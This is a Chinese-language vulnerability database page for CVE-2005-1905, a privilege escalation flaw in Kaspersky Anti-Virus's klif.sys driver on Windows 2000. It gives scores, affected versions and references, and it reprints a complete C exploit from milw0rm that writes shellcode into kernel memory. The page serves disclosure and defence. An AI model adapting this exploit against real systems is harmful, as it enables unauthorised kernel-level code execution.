CVE-2005-1905
CVSS7.2
发布时间 :2005-06-09 00:00:00
修订时间 :2016-10-17 23:23:14
NMCOES    

[原文]The klif.sys driver in Kaspersky Labs Anti-Virus 5.0.227, 5.0.228, and 5.0.335 on Windows 2000 allows local users to gain privileges by modifying certain critical code addresses that are later accessed by privileged programs.


[CNNVD]Kaspersky 'klif.sys'权限提升漏洞(CNNVD-200506-086)

        Kaspersky是一款非常流行的杀毒软件。
        Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。
        起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限,攻击者可能利用这个漏洞以系统内核的权限执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:kaspersky_lab:kaspersky_anti-virus:5.0.228::windows_file_servers
cpe:/a:kaspersky_lab:kaspersky_anti-virus_personal:5.0.227
cpe:/a:kaspersky_lab:kaspersky_anti-virus_personal:5.0.228
cpe:/a:kaspersky_lab:kaspersky_anti-virus_personal:5.0.325
cpe:/a:kaspersky_lab:kaspersky_anti-virus:5.0.335::windows_file_servers
cpe:/a:kaspersky_lab:kaspersky_anti-virus:5.0.227::windows_file_servers

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1905
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1905
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200506-086
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=111817777430401&w=2
(UNKNOWN)  BUGTRAQ  20050607 Kaspersky AntiVirus "klif.sys" Privilege Escalation Vulnerability
http://www.securityfocus.com/bid/13878
(UNKNOWN)  BID  13878

- 漏洞信息

Kaspersky 'klif.sys'权限提升漏洞
高危 设计错误
2005-06-09 00:00:00 2006-08-16 00:00:00
远程  
        Kaspersky是一款非常流行的杀毒软件。
        Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。
        起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限,攻击者可能利用这个漏洞以系统内核的权限执行任意代码。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.kaspersky.com/

- 漏洞信息 (1032)

Kaspersky AntiVirus "klif.sys" Privilege Escalation Vulnerability (EDBID:1032)
windows local
2005-06-07 Verified
0 Ilya Rabinovich
N/A [点击下载]
/* Added NO_STRICT to 1 on line 2 /str0ke ! milw0rm.com */
#define NO_STRICT 1
#include <windows.h>

#undef STRICT

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;


unsigned char code[]={0x68,0x00,0x02,0x00,0x00,	//push 0x200
					0x68,0x00,0x80,0x93,0xBE,	//push <buffer address> - 0xBE938000
					0x6A,0x00,					//push 0
					0xB8,0x00,0x00,0x00,0x00,	//mov eax,<GetModuleFileNameA> -> +13
					0xFF,0xD0,					//call eax
					0x68,0x00,0x80,0x93,0xBE,	//push <buffer address>
					0x68,0x00,0x82,0x93,0xBE,	//push <address of the notepad path>- 0xBE938200
					0xB8,0x00,0x00,0x00,0x00,	//mov eax,<lstrcmpiA> -> +30
					0xFF,0xD0,					//call eax
					0x85,0xC0,					//test eax,eax
					0x74,0x03,					//je +03
					0xC2,0x04,0x00,				//retn 4
					0x6A,0x00,					//push 0
					0x68,0x00,0x84,0x93,0xBE,	//push <address of the message string>- 0xBE938400
					0x68,0x00,0x84,0x93,0xBE,	//push <address of the message string>- 0xBE938400
					0x6A,0x00,					//push 0
					0xB8,0x00,0x00,0x00,0x00,	//mov eax,<MessageBoxA> -> +58
					0xFF,0xD0,					//call eax
					0xC2,0x04,0x00				//retn 4
					};

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt [0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){



//Get function's addresses

	HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
	HANDLE hUser=GetModuleHandle("USER32.DLL");

	FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
	FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

	FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

	*(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
	*(DWORD*)(code+30)=(DWORD)plstrcmpiA;
	*(DWORD*)(code+58)=(DWORD)pMessageBoxA;

//Prepare our data into ring0-zone.

	PCHAR pNotepadName=(PCHAR)0xBE938200;

	char temp_buffer[MAX_PATH];
	char *s;

	SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

	lstrcpy(pNotepadName,temp_buffer);

	PCHAR pMessage=(PCHAR)0xBE938400;

	lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

	memmove(pCodeBase,code,sizeof(code));

	*pJmpAddress=(DWORD)pCodeBase;

	memmove(pKAVRet,jmp_code,sizeof(jmp_code));

	return TRUE;
}

///////////////////////////////////////////////////////////////

void UnloadExploitFromKernelMemory(){

	UCHAR retn_4[]={0xC2,0x04,0x00};

	memmove(pKAVRet,retn_4,sizeof(retn_4));

}

/////////////////////////////////////////////////////////////////

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.

	UCHAR retn_4[]={0xC2,0x04,0x00};

	__try{

		for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

			if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)
				return pKAVRets[i];

		}

	}__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not installed",NULL,0);return NULL;}


	MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of KAV",NULL,0);
	return NULL;
}

/////////////////////////////////////////////////////////////////

void main(void){

	pKAVRet=GetKAVRetAddress();

	if(NULL==pKAVRet)
		return;


	if(!LoadExploitIntoKernelMemory())
		return;

	char temp_buffer[MAX_PATH];
	char *s;

	SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

	PROCESS_INFORMATION pi;

	STARTUPINFO si={0};
	si.cb=sizeof(si);

	CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
						0,NULL,NULL,&si,&pi);

	WaitForSingleObject(pi.hProcess,INFINITE);

	MessageBox(NULL,"Now you may start your own Notepad instance to check this exploit!","KAV_EXPLOITER",0);

	MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);

	UnloadExploitFromKernelMemory();
}

// milw0rm.com [2005-06-07]
		

- 漏洞信息

17200
Kaspersky Anti-Virus klif.sys Local Privilege Escalation
Local Access Required
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-06-07 Unknow
2005-06-07 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Kaspersky Anti-Virus Klif.Sys Privilege Escalation Vulnerability
Design Error 13878
Yes No
2005-06-06 12:00:00 2009-07-12 02:56:00
Discovery of this issue is credited to "alex" <pigrelax@yandex.ru>.

- 受影响的程序版本

Kaspersky Labs Personal Security Suite 1.0 .22
Kaspersky Labs Personal Security Suite 1.0
Kaspersky Labs Anti-Virus Personal Pro 5.0 .335
Kaspersky Labs Anti-Virus Personal Pro 5.0 .228
Kaspersky Labs Anti-Virus Personal Pro 5.0 .227
Kaspersky Labs Anti-Virus Personal Pro 5.0 .20
Kaspersky Labs Anti-Virus Personal Pro 5.0
Kaspersky Labs Anti-Virus Personal 5.0.227
Kaspersky Labs Anti-Virus Personal 5.0 .335
Kaspersky Labs Anti-Virus Personal 5.0 .325
Kaspersky Labs Anti-Virus Personal 5.0 .228
Kaspersky Labs Anti-Virus Personal 5.0
Kaspersky Labs Anti-Virus for Windows Workstations 5.0 .335
Kaspersky Labs Anti-Virus for Windows Workstations 5.0 .228
Kaspersky Labs Anti-Virus for Windows Workstations 5.0 .227
Kaspersky Labs Anti-Virus for Windows Workstations 5.0 .200
Kaspersky Labs Anti-Virus for Windows Workstations 5.0
Kaspersky Labs Anti-Virus for Windows File Servers 5.0 .50
Kaspersky Labs Anti-Virus for Windows File Servers 5.0 .335
Kaspersky Labs Anti-Virus for Windows File Servers 5.0 .228
Kaspersky Labs Anti-Virus for Windows File Servers 5.0 .227
Kaspersky Labs Anti-Virus for Windows File Servers 5.0
Kaspersky Labs Anti-Virus 5.0.335
Kaspersky Labs Anti-Virus 5.0.228
Kaspersky Labs Anti-Virus 5.0.227

- 漏洞讨论

Kaspersky Anti-Virus for Microsoft Windows 2000 platforms is prone to a privilege escalation vulnerability.

The issue manifests in the Kaspersky kernel driver 'klif.sys'. This issue may ultimately result in the execution of attacker-supplied code in the context of the system kernel (ring-0).

- 漏洞利用

The following exploit is available:

- 解决方案

Fixes are available:


Kaspersky Labs Personal Security Suite 1.0 .22

Kaspersky Labs Personal Security Suite 1.0

Kaspersky Labs Anti-Virus Personal Pro 5.0 .228

Kaspersky Labs Anti-Virus for Windows Workstations 5.0

Kaspersky Labs Anti-Virus for Windows Workstations 5.0 .227

Kaspersky Labs Anti-Virus Personal 5.0 .335

Kaspersky Labs Anti-Virus for Windows Workstations 5.0 .335

Kaspersky Labs Anti-Virus Personal 5.0 .228

Kaspersky Labs Anti-Virus for Windows Workstations 5.0 .228

Kaspersky Labs Anti-Virus Personal Pro 5.0 .227

Kaspersky Labs Anti-Virus for Windows File Servers 5.0 .50

Kaspersky Labs Anti-Virus for Windows File Servers 5.0

Kaspersky Labs Anti-Virus Personal 5.0

Kaspersky Labs Anti-Virus Personal Pro 5.0 .335

Kaspersky Labs Anti-Virus for Windows File Servers 5.0 .228

Kaspersky Labs Anti-Virus for Windows File Servers 5.0 .335

Kaspersky Labs Anti-Virus for Windows Workstations 5.0 .200

Kaspersky Labs Anti-Virus Personal 5.0 .325

Kaspersky Labs Anti-Virus for Windows File Servers 5.0 .227

Kaspersky Labs Anti-Virus Personal 5.0.227

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站